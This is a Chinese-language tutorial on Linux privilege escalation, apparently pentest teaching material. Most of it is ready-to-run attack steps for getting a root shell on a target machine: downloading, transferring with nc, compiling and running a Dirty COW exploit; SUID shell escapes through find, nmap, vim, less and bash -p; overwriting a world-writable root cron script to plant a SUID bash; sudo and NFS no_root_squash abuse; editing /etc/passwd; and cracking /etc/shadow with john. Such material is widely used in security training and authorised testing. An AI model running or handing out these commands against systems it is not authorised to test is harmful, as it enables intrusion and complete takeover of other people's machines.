一、内核漏洞提权
内核漏洞是 Linux 提权的经典途径,其中 “脏牛(Dirty Cow)” 漏洞因影响范围广而具有代表性。
(一)漏洞简介
-
CVE 编号:CVE-2016-5195
-
原理:Linux 内核处理 “写入复制(copy-on-write)” 机制时存在竞争条件,允许恶意用户对只读内存映射进行写访问,进而篡改系统文件(如
/etc/passwd
),提升至 root 权限。 -
影响范围:近十年内的主流 Linux 发行版(RedHat、Debian、Ubuntu、CentOS 等)。
(二)检测方法
通过内核版本判断是否受影响,检测命令:uname -a
(查看内核版本),若目标内核版本低于以下修复版本,则存在漏洞:
系统版本 | 修复后的内核版本 |
---|---|
CentOS7/RHEL7 | 3.10.0-327.36.3.el7 |
CentOS6/RHEL6 | 2.6.32-642.6.2.el6 |
Ubuntu 16.10 | 4.8.0-26.28 |
Ubuntu 16.04 | 4.4.0-45.66 |
Ubuntu 14.04 | 3.13.0-100.147 |
Debian 8 | 3.16.36-1+deb8u2 |
Debian 7 | 3.2.82-1 |
(三)利用步骤
-
获取漏洞脚本:从 GitHub 下载 exp(如https://github.com/gbonacini/CVE-2016-5195)。
-
上传脚本到靶机:
-
靶机监听:
nc -l 9528 > exp.zip
-
攻击机上传:
nc 靶机IP 9528 < exp.zip
-
-
编译并执行:
unzip exp.zip cd CVE-2016-5195-master make # 或 gcc -pthread 40839.c -o 40839 -lcrypt(编译漏洞利用程序) ./dcow # 执行程序,生成临时root密码(如dirtyCowFun) su # 输入生成的密码,切换至root用户
二、SUID 配置错误提权
SUID(Set User ID)是一种特殊权限,允许执行者临时获得文件属主的权限。若 root 属主的二进制文件被错误配置 SUID,普通用户可借此提权。
(一)关键特性
-
仅二进制文件可设置 SUID,脚本文件无效;
-
执行者需拥有该文件的执行(x)权限;
-
权限仅在程序执行期间有效。
(二)检测方法
查找所有具有 root 属主的 SUID 文件:
chmod u+s FILE... #对文件赋予 SUID 权限
find / -perm -u=s -type f 2>/dev/null # 查找所有SUID文件
find / -user root -perm -4000 -print 2>/dev/null # 仅root属主的SUID文件
(三)常见可利用命令及操作
命令 | 利用场景 | 操作步骤 |
---|---|---|
find | 具有 SUID 权限时,通过 – exec 执行命令 | touch test; find test -exec /bin/sh \; (获取 root shell) |
nmap(旧版本 2.02-5.21) | 支持交互模式执行 shell | nmap --interactive → !sh (直接获取 root shell) |
vim | 以 root 权限编辑文件或打开 shell | vim.tiny /etc/shadow (读取密码 hash);vim.tiny → :set shell=/bin/sh → :shell (获取 shell) |
bash | 以 SUID 权限运行 bash | bash -p (保留 root 权限) |
less/more | 查看文件时执行 shell | less /etc/passwd → !/bin/sh (获取 shell) |
三、计划任务提权
系统计划任务(由crontab
管理)以所属用户权限运行。若 root 的计划任务存在权限漏洞(如脚本可被普通用户修改),可通过篡改脚本提权
(一)检测方法
查看系统级计划任务:
ls -l /etc/cron* # 列出所有计划任务目录
cat /etc/crontab # 查看系统级计划任务
(二)利用步骤
-
发现可利用任务:找到 root 执行的计划任务(如
/sbin/test.sh
),检查权限:ls -l /sbin/test.sh # 若权限为777(所有人可读写),则可利用
-
篡改脚本:在脚本中添加 SUID 权限配置:
echo 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash' > /sbin/test.sh
-
获取 root 权限:等待计划任务执行后,运行
/tmp/bash -p
获取 root shell。
四、sudo 提权
sudo
允许普通用户以 root 权限执行指定命令。若/etc/sudoers
配置不当(如免密码执行所有命令),普通用户可直接提权。
(一)检测方法
查看当前用户的 sudo 权限:
sudo -l # 查看当前用户可执行的sudo命令
(二)利用场景
-
免密码配置:若
/etc/sudoers
中存在用户名 ALL=(ALL:ALL) NOPASSWD:ALL
,允许用户无需密码执行所有命令:sudo /bin/sh # 直接获取root shell
-
特定命令免密:若允许免密执行
vim
,可通过vim
打开/etc/passwd
修改 root 密码。
五、明文 root 密码提权
Linux 密码存储于/etc/passwd
(用户信息)和/etc/shadow
(密码 hash)。若两文件权限配置错误,可直接获取或修改 root 密码。
(一)利用方法
-
修改
/etc/passwd
:-
若文件可写(权限为 666),将 root 行的密码字段(x)替换为已知 hash(如
root:$6$xxx...
,可通过openssl passwd -1 -salt abc 123
生成密码 hash)。
-
-
爆破
/etc/shadow
:若文件可读,提取 root 的 hash 后用john
爆破:john --user=root shadow.txt # 爆破密码(需提前安装john the ripper)
六、第三方服务提权(以 NFS 为例)
NFS(网络文件系统)允许客户端挂载服务器共享目录。若服务器配置no_root_squash
(客户端 root 权限不被压缩),客户端可创建 SUID 文件提权。
(一)检测方法
查看 NFS 共享配置:
sudo showmount -e 目标IP # 查看目标共享目录
(二)利用步骤
-
客户端挂载共享目录:
sudo mkdir /tmp/nfs sudo mount -t nfs 目标IP:/home/share /tmp/nfs # 挂载共享目录
-
创建 SUID shell:
cp /bin/bash /tmp/nfs/rootbash chmod u+s /tmp/nfs/rootbash # 设置SUID权限
-
在目标服务器提权:
/home/share/rootbash -p # 运行带SUID的bash,获取root权限
七、密码复用提权
管理员常复用密码(如数据库密码、web 后台密码与 root 密码相同)。获取低权限密码后,可尝试用于 root 登录。
(一)利用场景
-
从数据库配置文件(如
/var/www/config.php
)获取密码; -
从 web 后台爆破或泄露的密码尝试
su root
或ssh root@目标IP